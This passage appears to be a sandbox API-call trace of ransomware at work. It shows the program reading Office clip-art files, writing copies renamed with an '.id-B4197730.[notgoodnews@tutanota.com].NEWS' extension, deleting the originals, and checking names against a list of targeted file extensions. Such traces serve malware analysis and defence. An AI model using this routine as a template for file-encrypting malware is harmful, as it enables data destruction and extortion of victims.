lpString2=".NEWS") returned 1 [0086.553] lstrlenW (lpString="FD01084_.WMF") returned 12 [0086.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.554] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2412) returned 1 [0086.554] CloseHandle (hObject=0x39c) returned 1 [0086.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x220 [0086.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.554] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.554] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.554] GetLastError () returned 0x0 [0086.554] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x96c, lpOverlapped=0x0) returned 1 [0086.914] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x970, lpOverlapped=0x0) returned 1 [0086.915] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0086.915] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0086.915] SetEndOfFile (hFile=0x350) returned 1 [0086.915] CloseHandle (hObject=0x350) returned 1 [0086.915] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.915] SetEndOfFile (hFile=0x39c) returned 1 [0086.916] CloseHandle (hObject=0x39c) returned 1 [0086.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0086.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0086.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0086.917] lstrlenW (lpString=".doc") returned 4 [0086.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.917] lstrlenW (lpString=".docx") returned 5 [0086.917] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.917] lstrlenW (lpString=".pdf") returned 4 [0086.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.917] lstrlenW (lpString=".xls") returned 4 [0086.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.917] lstrlenW (lpString=".xlsx") returned 5 [0086.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.917] lstrlenW (lpString=".ppt") returned 4 [0086.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0086.917] lstrlenW (lpString=".zip") returned 4 [0086.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.917] lstrlenW (lpString=".rar") returned 4 [0086.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.917] lstrlenW (lpString=".bz2") returned 4 [0086.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.917] lstrlenW (lpString=".7z") returned 3 [0086.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0086.917] lstrlenW (lpString=".dbf") returned 4 [0086.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0086.917] lstrlenW (lpString=".1cd") returned 4 [0086.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0086.917] lstrlenW (lpString=".jpg") returned 4 [0086.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0086.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0086.918] lstrlenW (lpString=".doc") returned 4 [0086.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.918] lstrlenW (lpString=".docx") returned 5 [0086.918] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.918] lstrlenW (lpString=".pdf") returned 4 [0086.918] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.918] lstrlenW (lpString=".xls") returned 4 [0086.918] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.918] lstrlenW (lpString=".xlsx") returned 5 [0086.918] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.918] lstrlenW (lpString=".ppt") returned 4 [0086.918] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0086.918] lstrlenW (lpString=".zip") returned 4 [0086.918] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.918] lstrlenW (lpString=".rar") returned 4 [0086.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.918] lstrlenW (lpString=".bz2") returned 4 [0086.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.918] lstrlenW (lpString=".7z") returned 3 [0086.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0086.918] lstrlenW (lpString=".dbf") returned 4 [0086.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0086.918] lstrlenW (lpString=".1cd") returned 4 [0086.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0086.918] lstrlenW (lpString=".jpg") returned 4 [0086.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.919] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.919] lstrlenW (lpString="FD02097_.WMF") returned 12 [0086.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.919] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1564) returned 1 [0086.919] CloseHandle (hObject=0x39c) returned 1 [0086.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x220 [0086.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.919] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.919] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.920] GetLastError () returned 0x0 [0086.920] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x61c, lpOverlapped=0x0) returned 1 [0086.921] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x620, lpOverlapped=0x0) returned 1 [0086.922] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0086.922] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0086.922] SetEndOfFile (hFile=0x350) returned 1 [0086.922] CloseHandle (hObject=0x350) returned 1 [0086.922] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.922] SetEndOfFile (hFile=0x39c) returned 1 [0086.923] CloseHandle (hObject=0x39c) returned 1 [0086.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0086.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0086.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0086.924] lstrlenW (lpString=".doc") returned 4 [0086.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.924] lstrlenW (lpString=".docx") returned 5 [0086.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.924] lstrlenW (lpString=".pdf") returned 4 [0086.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.924] lstrlenW (lpString=".xls") returned 4 [0086.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.924] lstrlenW (lpString=".xlsx") returned 5 [0086.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.924] lstrlenW (lpString=".ppt") returned 4 [0086.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0086.924] lstrlenW (lpString=".zip") returned 4 [0086.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.924] lstrlenW (lpString=".rar") returned 4 [0086.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.924] lstrlenW (lpString=".bz2") returned 4 [0086.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.924] lstrlenW (lpString=".7z") returned 3 [0086.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0086.924] lstrlenW (lpString=".dbf") returned 4 [0086.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0086.924] lstrlenW (lpString=".1cd") returned 4 [0086.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0086.924] lstrlenW (lpString=".jpg") returned 4 [0086.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0086.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0086.925] lstrlenW (lpString=".doc") returned 4 [0086.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.925] lstrlenW (lpString=".docx") returned 5 [0086.925] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.925] lstrlenW (lpString=".pdf") returned 4 [0086.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.925] lstrlenW (lpString=".xls") returned 4 [0086.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.925] lstrlenW (lpString=".xlsx") returned 5 [0086.925] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.925] lstrlenW (lpString=".ppt") returned 4 [0086.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0086.925] lstrlenW (lpString=".zip") returned 4 [0086.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.925] lstrlenW (lpString=".rar") returned 4 [0086.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.925] lstrlenW (lpString=".bz2") returned 4 [0086.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.925] lstrlenW (lpString=".7z") returned 3 [0086.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0086.925] lstrlenW (lpString=".dbf") returned 4 [0086.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0086.925] lstrlenW (lpString=".1cd") returned 4 [0086.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0086.925] lstrlenW (lpString=".jpg") returned 4 [0086.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.925] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.925] lstrlenW (lpString="FD02115_.WMF") returned 12 [0086.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.926] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=4660) returned 1 [0086.926] CloseHandle (hObject=0x39c) returned 1 [0086.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x220 [0086.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.926] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.926] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.927] GetLastError () returned 0x0 [0086.927] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1234, lpOverlapped=0x0) returned 1 [0086.929] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1240, lpOverlapped=0x0) returned 1 [0086.930] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0086.930] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0086.930] SetEndOfFile (hFile=0x350) returned 1 [0086.930] CloseHandle (hObject=0x350) returned 1 [0086.930] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.930] SetEndOfFile (hFile=0x39c) returned 1 [0086.931] CloseHandle (hObject=0x39c) returned 1 [0086.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0086.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0086.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0086.931] lstrlenW (lpString=".doc") returned 4 [0086.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.931] lstrlenW (lpString=".docx") returned 5 [0086.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.931] lstrlenW (lpString=".pdf") returned 4 [0086.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.932] lstrlenW (lpString=".xls") returned 4 [0086.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.932] lstrlenW (lpString=".xlsx") returned 5 [0086.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.932] lstrlenW (lpString=".ppt") returned 4 [0086.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0086.932] lstrlenW (lpString=".zip") returned 4 [0086.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.932] lstrlenW (lpString=".rar") returned 4 [0086.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.932] lstrlenW (lpString=".bz2") returned 4 [0086.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.932] lstrlenW (lpString=".7z") returned 3 [0086.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0086.932] lstrlenW (lpString=".dbf") returned 4 [0086.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0086.932] lstrlenW (lpString=".1cd") returned 4 [0086.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0086.932] lstrlenW (lpString=".jpg") returned 4 [0086.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0086.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0086.932] lstrlenW (lpString=".doc") returned 4 [0086.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.932] lstrlenW (lpString=".docx") returned 5 [0086.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.932] lstrlenW (lpString=".pdf") returned 4 [0086.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.932] lstrlenW (lpString=".xls") returned 4 [0086.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.932] lstrlenW (lpString=".xlsx") returned 5 [0086.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.933] lstrlenW (lpString=".ppt") returned 4 [0086.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0086.933] lstrlenW (lpString=".zip") returned 4 [0086.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.933] lstrlenW (lpString=".rar") returned 4 [0086.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.933] lstrlenW (lpString=".bz2") returned 4 [0086.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.933] lstrlenW (lpString=".7z") returned 3 [0086.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0086.933] lstrlenW (lpString=".dbf") returned 4 [0086.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0086.933] lstrlenW (lpString=".1cd") returned 4 [0086.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0086.933] lstrlenW (lpString=".jpg") returned 4 [0086.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.933] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.933] lstrlenW (lpString="FD02116_.WMF") returned 12 [0086.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), 